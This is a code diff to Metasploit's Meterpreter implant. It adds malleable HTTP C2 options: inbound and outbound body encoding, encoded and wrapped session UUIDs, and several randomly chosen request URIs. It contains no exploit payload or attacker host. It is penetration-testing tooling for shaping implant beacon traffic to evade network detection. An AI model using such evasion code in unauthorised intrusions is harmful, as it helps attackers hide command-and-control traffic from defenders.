diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h
index 83347c655..a16e093b6 100644
--- a/c/meterpreter/source/common/common_core.h
+++ b/c/meterpreter/source/common/common_core.h
@@ -198,7 +198,11 @@ typedef enum
TLV_TYPE_C2_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 717), ///! Expected SSL certificate hash
TLV_TYPE_C2_PREFIX = TLV_VALUE(TLV_META_TYPE_RAW, 718), ///! Data to prepend to the outgoing payload
TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_RAW, 719), ///! Data to append to the outgoing payload
- TLV_TYPE_C2_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Request encoding flags (Base64|URL|Base64url)
+ TLV_TYPE_C2_ENC_INBOUND = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Server->client (response) body encoding flags
+ TLV_TYPE_C2_ENC_OUTBOUND = TLV_VALUE(TLV_META_TYPE_UINT, 728), ///! Client->server (request) body encoding flags
+ TLV_TYPE_C2_ENC_UUID = TLV_VALUE(TLV_META_TYPE_UINT, 729), ///! Encoding applied to the UUID before placement
+ TLV_TYPE_C2_UUID_PREFIX = TLV_VALUE(TLV_META_TYPE_STRING, 730), ///! String to prepend to the encoded UUID
+ TLV_TYPE_C2_UUID_SUFFIX = TLV_VALUE(TLV_META_TYPE_STRING, 731), ///! String to append to the encoded UUID
TLV_TYPE_C2_PREFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Size of prefix to skip (in bytes)
TLV_TYPE_C2_SUFFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 722), ///! Size of suffix to skip (in bytes)
TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Name of the cookie to put the UUID in
diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h
index 468f0b6df..36245e0ff 100644
--- a/c/meterpreter/source/common/common_remote.h
+++ b/c/meterpreter/source/common/common_remote.h
@@ -74,7 +74,8 @@ typedef struct _NamedPipeTransportContext
typedef struct _HttpRequestOptions
{
- STRTYPE uri;
+ STRTYPE* uris; ///! Request URIs (base, or profile candidates); one chosen at random per request.
+ UINT uri_count; ///! Number of entries in uris.
STRTYPE ua;
STRTYPE headers; ///! Custom headers, including accept types or referrer if required.
PBYTE payload_prefix; ///! Bytes to prepend to outgoing payloads.
@@ -83,7 +84,11 @@ typedef struct _HttpRequestOptions
UINT payload_suffix_size; ///! Size of the payload suffix
UINT payload_prefix_skip; ///! Size of the incoming prefix to ignore
UINT payload_suffix_skip; ///! Size of the incoming suffix to ignore
- UINT encode_flags; ///! Flags to indicate what kind of encoding to apply, if any.
+ UINT encode_flags_inbound; ///! Flags to indicate how server->client (response) bodies are encoded.
+ UINT encode_flags_outbound; ///! Flags to indicate how client->server (request) bodies are encoded.
+ UINT encode_flags_uuid; ///! Flags to indicate how the UUID is encoded before placement.
+ STRTYPE uuid_prefix; ///! String to prepend to the (encoded) UUID before placement.
+ STRTYPE uuid_suffix; ///! String to append to the (encoded) UUID after placement.
STRTYPE uuid_get; ///! The name of the GET/query string parameter to put the UUID in (optional).
STRTYPE uuid_cookie; ///! The name of the cookie to put the UUID in (optional).
STRTYPE uuid_header; ///! The name of the HTTP Header to put the UUID in (optional).
diff --git a/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py b/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py
index 6751d14ee..2efb23fe6 100644
--- a/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py
+++ b/c/meterpreter/source/extensions/python/Lib/meterpreter/core.py
@@ -93,20 +93,6 @@
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
-TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
-TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
-TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
-TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
-TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
-TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
-TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
-TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
-TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
-TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
-TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
-TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441
-TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442
-
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
diff --git a/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py b/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py
index b200d940b..7a7002720 100644
--- a/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py
+++ b/c/meterpreter/source/extensions/python/Lib/meterpreter/transport.py
@@ -1,68 +1,11 @@
-import meterpreter_bindings
-import datetime
-
-from meterpreter.core import *
-from meterpreter.tlv import *
-from meterpreter.command import *
+# Transport list/add helpers used to rely on TLV_TYPE_TRANS_* TLVs, which
+# have been removed. Reimplement on the new C2 TLV shape before exposing
+# these functions again.
def list():
- resp = invoke_meterpreter(COMMAND_ID_CORE_TRANSPORT_LIST, True)
- if resp == None:
- return []
-
- if packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] != 0:
- return []
-
- transports = []
- for transport in packet_enum_tlvs(resp, TLV_TYPE_TRANS_GROUP):
- t = transport['value']
- transports.append({
- 'URL': packet_get_tlv(t, TLV_TYPE_TRANS_URL)['value'],
- 'CommTimeout': packet_get_tlv(t, TLV_TYPE_TRANS_COMM_TIMEOUT)['value'],
- 'RetryTotal': packet_get_tlv(t, TLV_TYPE_TRANS_RETRY_TOTAL)['value'],
- 'RetryWait': packet_get_tlv(t, TLV_TYPE_TRANS_RETRY_WAIT)['value'],
- 'UA': packet_get_tlv_default(t, TLV_TYPE_TRANS_UA, None)['value'],
- 'ProxyHost': packet_get_tlv_default(t, TLV_TYPE_TRANS_PROXY_HOST, None)['value'],
- 'ProxyUser': packet_get_tlv_default(t, TLV_TYPE_TRANS_PROXY_USER, None)['value'],
- 'ProxyPass': packet_get_tlv_default(t, TLV_TYPE_TRANS_PROXY_PASS, None)['value'],
- 'CertHash': packet_get_tlv_default(t, TLV_TYPE_TRANS_CERT_HASH, None)['value']
- })
-
- expiry_secs = packet_get_tlv(resp, TLV_TYPE_TRANS_SESSION_EXP)['value']
- expiry = datetime.datetime.now() + datetime.timedelta(seconds=expiry_secs)
- return {
- 'SessionExpiry': expiry,
- 'Transports': transports
- }
+ raise NotImplementedError("transport.list() pending rewrite onto C2 TLVs")
def add(url, session_expiry=None, comm_timeout=None, retry_total=None,
retry_wait=None, ua=None, proxy_host=None, proxy_user=None,
proxy_pass=None, cert_hash=None):
-
- tlv = tlv_pack(TLV_TYPE_TRANS_URL, url)
-
- if session_expiry:
- tlv += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, session_expiry)
- if comm_timeout:
- tlv += tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, comm_timeout)
- if retry_total:
- tlv += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, retry_total)
- if retry_wait:
- tlv += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, retry_wait)
- if ua:
- tlv += tlv_pack(TLV_TYPE_TRANS_UA, ua)
- if proxy_host:
- tlv += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, proxy_host)
- if proxy_user:
- tlv += tlv_pack(TLV_TYPE_TRANS_PROXY_USER, proxy_user)
- if proxy_pass:
- tlv += tlv_pack(TLV_TYPE_TRANS_PROXY_PASS, proxy_pass)
- if cert_hash:
- tlv += tlv_pack(TLV_TYPE_TRANS_CERT_HASH, cert_hash)
-
- resp = invoke_meterpreter(COMMAND_ID_CORE_TRANSPORT_ADD, True, tlv)
- if resp == None:
- return False
-
- return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0
-
+ raise NotImplementedError("transport.add() pending rewrite onto C2 TLVs")
diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c
index 15cf41ecc..737362906 100644
--- a/c/meterpreter/source/metsrv/core.c
+++ b/c/meterpreter/source/metsrv/core.c
@@ -760,6 +760,11 @@ DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv *
return packet_find_tlv_buf(packet, group->buffer, group->header.length, 0, type, entry);
}
+DWORD packet_get_tlv_group_entry_n(Packet *packet, Tlv *group, DWORD index, TlvType type, Tlv *entry)
+{
+ return packet_find_tlv_buf(packet, group->buffer, group->header.length, index, type, entry);
+}
+
PCHAR packet_get_tlv_group_entry_value_string(Packet *packet, Tlv *group, TlvType type, DWORD* size)
{
Tlv entry = { 0 };
diff --git a/c/meterpreter/source/metsrv/core.h b/c/meterpreter/source/metsrv/core.h
index 6ae7adbb8..1c4443395 100644
--- a/c/meterpreter/source/metsrv/core.h
+++ b/c/meterpreter/source/metsrv/core.h
@@ -36,6 +36,7 @@ TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv);
DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv);
DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv);
DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry);
+DWORD packet_get_tlv_group_entry_n(Packet *packet, Tlv *group, DWORD index, TlvType type, Tlv *entry);
DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv);
DWORD packet_enum_group_tlv(Packet* packet, Tlv* group, DWORD index, TlvType type, Tlv* tlv);
diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c
index 6bfb53e58..19dc1938b 100644
--- a/c/meterpreter/source/metsrv/server_http_utils.c
+++ b/c/meterpreter/source/metsrv/server_http_utils.c
@@ -75,7 +75,7 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD
HttpConnection* conn = &ctx->get_connection;
BOOL result = FALSE;
- switch (conn->options.encode_flags)
+ switch (conn->options.encode_flags_inbound)
{
case C2_ENCODING_URL:
{
@@ -89,7 +89,7 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD
DWORD decodeInputLen = encodedDataLen;
LPBYTE convertedBuf = NULL;
- if (conn->options.encode_flags == C2_ENCODING_B64URI)
+ if (conn->options.encode_flags_inbound == C2_ENCODING_B64URI)
{
convertedBuf = b64uri_to_b64(encodedData, encodedDataLen, &decodeInputLen);
if (convertedBuf == NULL)
@@ -153,62 +153,130 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD
* the buffer, and will know not to do so by the \c FALSE result. Otherwise
* the caller should free() the \c data buffer when the result is \c TRUE.
*/
-BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen)
+/*!
+ * @brief Apply a C2 encoding (base64 / base64url) to a byte buffer.
+ * @returns A newly malloc'd buffer the caller must free, or NULL if the
+ * requested encoding is NONE/URL/unsupported or allocation fails.
+ * *outLen is set on success.
+ */
+static LPBYTE c2_encode_buf(LPBYTE data, DWORD dataLen, UINT enc, LPDWORD outLen)
{
- HttpConnection* conn = &ctx->post_connection;
- BOOL result = FALSE;
+ if (enc != C2_ENCODING_B64 && enc != C2_ENCODING_B64URI)
+ {
+ return NULL;
+ }
- switch (conn->options.encode_flags)
+ DWORD flags = CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF;
+ if (!CryptBinaryToStringA(data, dataLen, flags, NULL, outLen))
{
- case C2_ENCODING_URL:
+ return NULL;
+ }
+
+ LPBYTE encoded = (LPBYTE)calloc(sizeof(BYTE), *outLen + 1);
+ if (encoded == NULL)
{
- // TODO?
- break;
+ return NULL;
}
- case C2_ENCODING_B64:
- case C2_ENCODING_B64URI:
+
+ if (!CryptBinaryToStringA(data, dataLen, flags, encoded, outLen))
{
- DWORD flags = CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF;
+ free(encoded);
+ return NULL;
+ }
- if (CryptBinaryToStringA(data, dataLen, flags, NULL, encodedDataLen))
- {
- LPBYTE encoded = (LPBYTE)calloc(sizeof(BYTE), *encodedDataLen + 1);
- if (encoded != NULL)
- {
- if (CryptBinaryToStringA(data, dataLen, flags, encoded, encodedDataLen))
- {
- if (conn->options.encode_flags == C2_ENCODING_B64URI)
- {
- b64_to_b64uri(encoded, encodedDataLen);
- }
+ if (enc == C2_ENCODING_B64URI)
+ {
+ b64_to_b64uri(encoded, outLen);
+ }
- result = TRUE;
- *encodedData = encoded;
- }
- else
- {
- free(encoded);
- }
- }
- }
+ return encoded;
+}
- break;
- }
- case C2_ENCODING_NONE:
- default:
+BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen)
+{
+ UINT enc = ctx->post_connection.options.encode_flags_outbound;
+ LPBYTE encoded = c2_encode_buf(data, dataLen, enc, encodedDataLen);
+ if (encoded != NULL)
{
- // do nothing here, as the data doesn't need to be handled
- break;
+ *encodedData = encoded;
+ return TRUE;
}
+
+ *encodedData = data;
+ *encodedDataLen = dataLen;
+ return FALSE;
+}
+
+/*!
+ * @brief Resolve the effective UUID transform options for a connection,
+ * preferring per-verb settings then falling back to the transport-wide
+ * defaults. Lets callers honour `id`/`metadata` directives from the C2
+ * profile without each placement site having to re-do the lookup.
+ */
+static void resolve_uuid_opts(HttpTransportContext* ctx, HttpConnection* conn,
+ UINT* enc, PWSTR* prefix, PWSTR* suffix)
+{
+ *enc = conn && conn->options.encode_flags_uuid ? conn->options.encode_flags_uuid : ctx->default_options.encode_flags_uuid;
+ *prefix = conn && conn->options.uuid_prefix ? conn->options.uuid_prefix : ctx->default_options.uuid_prefix;
+ *suffix = conn && conn->options.uuid_suffix ? conn->options.uuid_suffix : ctx->default_options.uuid_suffix;
+}
+
+/*!
+ * @brief Encode a UUID per the profile (base64 / base64url), then wrap
+ * with the configured uuid_prefix/uuid_suffix strings. Returns a malloc'd
+ * wide string the caller must free, or NULL on empty input / failure.
+ */
+PWSTR render_uuid(HttpTransportContext* ctx, HttpConnection* conn, PCWSTR uuid)
+{
+ if (!uuid || !*uuid) return NULL;
+
+ UINT enc = 0;
+ PWSTR prefix = NULL, suffix = NULL;
+ resolve_uuid_opts(ctx, conn, &enc, &prefix, &suffix);
+
+ size_t uuid_len = wcslen(uuid);
+ size_t prefix_len = prefix ? wcslen(prefix) : 0;
+ size_t suffix_len = suffix ? wcslen(suffix) : 0;
+
+ /* Encode (when requested) in the byte domain, then widen the result
+ * char-by-char — base64/base64url output is pure ASCII so this is
+ * faithful, and avoids a CP_*-specific widening step. */
+ LPBYTE encoded = NULL;
+ DWORD encoded_len = 0;
+ BOOL free_encoded = FALSE;
+ if (enc == C2_ENCODING_B64 || enc == C2_ENCODING_B64URI)
+ {
+ LPBYTE uuid_bytes = (LPBYTE)calloc(uuid_len + 1, sizeof(BYTE));
+ if (!uuid_bytes) return NULL;
+ for (size_t i = 0; i < uuid_len; i++) { uuid_bytes[i] = (BYTE)uuid[i]; }
+
+ encoded = c2_encode_buf(uuid_bytes, (DWORD)uuid_len, enc, &encoded_len);
+ free(uuid_bytes);
+ if (!encoded) return NULL;
+ free_encoded = TRUE;
}
- if (!result)
+ size_t encoded_wlen = encoded ? encoded_len : uuid_len;
+ size_t total = prefix_len + encoded_wlen + suffix_len;
+ PWSTR out = (PWSTR)calloc(total + 1, sizeof(wchar_t));
+ if (out)
{
- *encodedData = data;
- *encodedDataLen = dataLen;
+ PWSTR p = out;
+ if (prefix_len > 0) { wmemcpy(p, prefix, prefix_len); p += prefix_len; }
+ if (encoded)
+ {
+ for (DWORD j = 0; j < encoded_len; j++) { *p++ = (wchar_t)encoded[j]; }
+ }
+ else
+ {
+ wmemcpy(p, uuid, uuid_len);
+ p += uuid_len;
+ }
+ if (suffix_len > 0) { wmemcpy(p, suffix, suffix_len); }
}
- return result;
+ if (free_encoded) free(encoded);
+ return out;
}
/*!
@@ -230,10 +298,12 @@ PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn)
PWSTR uuidHeader = conn->options.uuid_header ? conn->options.uuid_header : ctx->default_options.uuid_header;
if (uuidHeader)
{
- // UUID is going in the header, so we need to add it. Let's hope people aren't
- // stupid enough to double-up this header. Length needs to include space for \r\n and the colon/space,
- // AND the UUID length itself.
- size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(ctx->uuid) + 2;
+ PWSTR rendered = render_uuid(ctx, conn, ctx->uuid);
+ PCWSTR uuidValue = rendered ? rendered : ctx->uuid;
+
+ // UUID is going in the header, so we need to add it. Length needs space for
+ // \r\n and the colon/space, AND the (possibly transformed) UUID length itself.
+ size_t extraHeaderLength = wcslen(uuidHeader) + 2 + wcslen(uuidValue) + 2;
size_t totalHeaderLength = extraHeaderLength + (headers ? wcslen(headers) : 0) + 2;
outboundHeaders = (PWCHAR)calloc(totalHeaderLength, sizeof(wchar_t));
@@ -244,7 +314,8 @@ PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn)
}
wcscat_s(outboundHeaders, totalHeaderLength, uuidHeader);
wcscat_s(outboundHeaders, totalHeaderLength, L": ");
- wcscat_s(outboundHeaders, totalHeaderLength, ctx->uuid);
+ wcscat_s(outboundHeaders, totalHeaderLength, uuidValue);
+ SAFE_FREE(rendered);
}
else if (headers)
{
@@ -268,13 +339,50 @@ PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn)
* is included with any outbound URI that is associated with the request, and hence allows
* for the URI to change between get and post requests based on a C2 profile.
*/
-PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn)
+/*!
+ * @brief Free the candidate URI array on an options struct.
+ */
+void http_options_free_uris(HttpRequestOptions* options)
{
- PWCHAR baseUri = ctx->default_options.uri;
- if (conn->options.uri)
+ if (options->uris != NULL)
{
- baseUri = conn->options.uri;
+ for (UINT i = 0; i < options->uri_count; ++i)
+ {
+ SAFE_FREE(options->uris[i]);
+ }
+ free(options->uris);
+ options->uris = NULL;
}
+ options->uri_count = 0;
+}
+
+/*!
+ * @brief Replace the options' candidate URIs with a single base URI.
+ * @details Used for the default/base transport URL (derived from C2_URL),
+ * which has no profile-supplied candidate list.
+ */
+void http_options_set_single_uri(HttpRequestOptions* options, PCWSTR uri)
+{
+ http_options_free_uris(options);
+ if (uri == NULL)
+ {
+ return;
+ }
+ options->uris = (PWSTR*)calloc(1, sizeof(PWSTR));
+ if (options->uris == NULL)
+ {
+ return;
+ }
+ options->uris[0] = _wcsdup(uri);
+ options->uri_count = 1;
+}
+
+PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn)
+{
+ // Pick one of the connection's candidate URIs at random; fall back to the
+ // transport's default/base URI when the verb config has none.
+ HttpRequestOptions* opts = conn->options.uri_count > 0 ? &conn->options : &ctx->default_options;
+ PWCHAR baseUri = opts->uri_count > 0 ? opts->uris[rand() % opts->uri_count] : NULL;
// if we don't have a UUID yet we are going to assume that it's in the base URI.
// If we do have a URI specified for this connection, we need to parse it. But only
@@ -296,10 +404,13 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn)
// -- /some/uri/(UUID)?some=thing(¶m=UUID)
// The location of the UUID changes depending on what's provided in the configuration
+ PWSTR rendered = render_uuid(ctx, conn, ctx->uuid);
+ PCWSTR uuidValue = rendered ? rendered : ctx->uuid;
+
PWCHAR queryString = wcschr(baseUri, L'?');
size_t queryStringLen = queryString ? wcslen(queryString) : 0;
size_t baseUriLen = queryString ? queryString - baseUri : wcslen(baseUri);
- size_t uuidLen = wcslen(ctx->uuid) + 2; // enough space for including slashes if required
+ size_t uuidLen = wcslen(uuidValue) + 2; // enough space for including slashes if required
if (getParam)
{
@@ -316,7 +427,7 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn)
if (!getParam)
{
wcscat_s(uri, uriLen, L"/");
- wcscat_s(uri, uriLen, ctx->uuid);
+ wcscat_s(uri, uriLen, uuidValue);
wcscat_s(uri, uriLen, L"/");
}
@@ -330,11 +441,12 @@ PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn)
if (getParam)
{
wcscat_s(uri, uriLen, queryString ? L"&" : L"?");
- wcscat_s(uri, uriLen, conn->options.uuid_get);
+ wcscat_s(uri, uriLen, getParam);
wcscat_s(uri, uriLen, L"=");
- wcscat_s(uri, uriLen, ctx->uuid);
+ wcscat_s(uri, uriLen, uuidValue);
}
+ SAFE_FREE(rendered);
dprintf("[GENURI] final URI: %S", uri);
return uri;
diff --git a/c/meterpreter/source/metsrv/server_http_utils.h b/c/meterpreter/source/metsrv/server_http_utils.h
index e1c37fa06..f9822a0cd 100644
--- a/c/meterpreter/source/metsrv/server_http_utils.h
+++ b/c/meterpreter/source/metsrv/server_http_utils.h
@@ -11,5 +11,8 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD
BOOL encode_raw_packet(HttpTransportContext* conn, LPBYTE data, DWORD dataLen, LPBYTE* encodedData, LPDWORD encodedDataLen);
PWSTR generate_headers(HttpTransportContext* ctx, HttpConnection* conn);
PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn);
+PWSTR render_uuid(HttpTransportContext* ctx, HttpConnection* conn, PCWSTR uuid);
+void http_options_free_uris(HttpRequestOptions* options);
+void http_options_set_single_uri(HttpRequestOptions* options, PCWSTR uri);
#endif
diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c
index 8e0e8ce1d..5b365619d 100644
--- a/c/meterpreter/source/metsrv/server_transport_winhttp.c
+++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c
@@ -701,10 +701,9 @@ static DWORD server_init_winhttp(Transport* transport)
dprintf("[DISPATCH] About to crack URL: %S", transport->url);
WinHttpCrackUrl(transport->url, 0, 0, &bits);
- SAFE_FREE(ctx->default_options.uri);
- ctx->default_options.uri = _wcsdup(tmpUrlPath);
+ http_options_set_single_uri(&ctx->default_options, tmpUrlPath);
- dprintf("[DISPATCH] Configured URI: %S", ctx->default_options.uri);
+ dprintf("[DISPATCH] Configured URI: %S", tmpUrlPath);
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
DWORD result = server_init_connection(ctx, &ctx->get_connection, tmpHostName, bits.nPort);
@@ -886,10 +885,12 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
static void destroy_options(HttpRequestOptions* options)
{
SAFE_FREE(options->ua);
- SAFE_FREE(options->uri);
+ http_options_free_uris(options);
SAFE_FREE(options->headers);
SAFE_FREE(options->payload_prefix);
SAFE_FREE(options->payload_suffix);
+ SAFE_FREE(options->uuid_prefix);
+ SAFE_FREE(options->uuid_suffix);
SAFE_FREE(options->uuid_cookie);
SAFE_FREE(options->uuid_header);
SAFE_FREE(options->uuid_get);
@@ -947,9 +948,25 @@ static void transport_destroy_http(Transport* transport)
*/
BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOptions)
{
- if (sourceOptions->encode_flags != 0)
+ if (sourceOptions->encode_flags_inbound != 0)
{
- packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC, sourceOptions->encode_flags);
+ packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_INBOUND, sourceOptions->encode_flags_inbound);
+ }
+ if (sourceOptions->encode_flags_outbound != 0)
+ {
+ packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_OUTBOUND, sourceOptions->encode_flags_outbound);
+ }
+ if (sourceOptions->encode_flags_uuid != 0)
+ {
+ packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC_UUID, sourceOptions->encode_flags_uuid);
+ }
+ if (sourceOptions->uuid_prefix != NULL)
+ {
+ packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_PREFIX, sourceOptions->uuid_prefix);
+ }
+ if (sourceOptions->uuid_suffix != NULL)
+ {
+ packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UUID_SUFFIX, sourceOptions->uuid_suffix);
}
if (sourceOptions->headers != NULL)
{
@@ -975,9 +992,9 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp
{
packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_UA, sourceOptions->ua);
}
- if (sourceOptions->uri != NULL)
+ for (UINT i = 0; i < sourceOptions->uri_count; ++i)
{
- packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_URI, sourceOptions->uri);
+ packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_URI, sourceOptions->uris[i]);
}
if (sourceOptions->uuid_cookie != NULL)
{
@@ -1052,7 +1069,11 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio
{
DWORD payloadSize = 0;
- targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC);
+ targetOptions->encode_flags_inbound = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_INBOUND);
+ targetOptions->encode_flags_outbound = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_OUTBOUND);
+ targetOptions->encode_flags_uuid = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC_UUID);
+ targetOptions->uuid_prefix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_PREFIX, NULL);
+ targetOptions->uuid_suffix = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_SUFFIX, NULL);
targetOptions->headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_HEADERS, NULL);
targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &payloadSize);
targetOptions->payload_prefix_size = payloadSize;
@@ -1061,7 +1082,33 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio
targetOptions->payload_suffix_size = payloadSize;
targetOptions->payload_suffix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SUFFIX_SKIP);
targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL);
- targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL);
+ // A profile's `set uri` may list several candidate URIs, emitted as
+ // repeated TLV_TYPE_C2_URI values. Collect them all; generate_uri picks
+ // one at random per request (Cobalt Strike semantics).
+ Tlv uriEntry;
+ DWORD uriIndex = 0;
+ while (packet_get_tlv_group_entry_n(packet, optionsTlv, uriIndex, TLV_TYPE_C2_URI, &uriEntry) == ERROR_SUCCESS)
+ {
+ PCHAR narrow = (PCHAR)uriEntry.buffer;
+ size_t wlen = mbstowcs(NULL, narrow, 0) + 1;
+ PWSTR wide = (PWSTR)calloc(wlen, sizeof(wchar_t));
+ if (wide == NULL)
+ {
+ break;
+ }
+ mbstowcs(wide, narrow, wlen);
+
+ PWSTR* grown = (PWSTR*)realloc(targetOptions->uris, sizeof(PWSTR) * (targetOptions->uri_count + 1));
+ if (grown == NULL)
+ {
+ free(wide);
+ break;
+ }
+ targetOptions->uris = grown;
+ targetOptions->uris[targetOptions->uri_count] = wide;
+ targetOptions->uri_count++;
+ uriIndex++;
+ }
targetOptions->uuid_cookie = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_COOKIE, NULL);
targetOptions->uuid_get = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_GET, NULL);
targetOptions->uuid_header = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UUID_HEADER, NULL);
@@ -1089,7 +1136,11 @@ BOOL get_http_options_from_config(Packet* packet, Tlv* c2Tlv, UINT tlvType, Http
static void debug_print_http_options(PSTR type, HttpRequestOptions* options)
{
- dprintf("[HTTP OPTION] - %s - Encode Flags: 0x%x", type, options->encode_flags);
+ dprintf("[HTTP OPTION] - %s - Encode Flags Inbound: 0x%x", type, options->encode_flags_inbound);
+ dprintf("[HTTP OPTION] - %s - Encode Flags Outbound: 0x%x", type, options->encode_flags_outbound);
+ dprintf("[HTTP OPTION] - %s - Encode Flags UUID: 0x%x", type, options->encode_flags_uuid);
+ dprintf("[HTTP OPTION] - %s - UUID Prefix: %S", type, options->uuid_prefix);
+ dprintf("[HTTP OPTION] - %s - UUID Suffix: %S", type, options->uuid_suffix);
dprintf("[HTTP OPTION] - %s - Headers: %S", type, options->headers);
dprintf("[HTTP OPTION] - %s - Payload Prefix Size: %u", type, options->payload_prefix_size);
dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix);
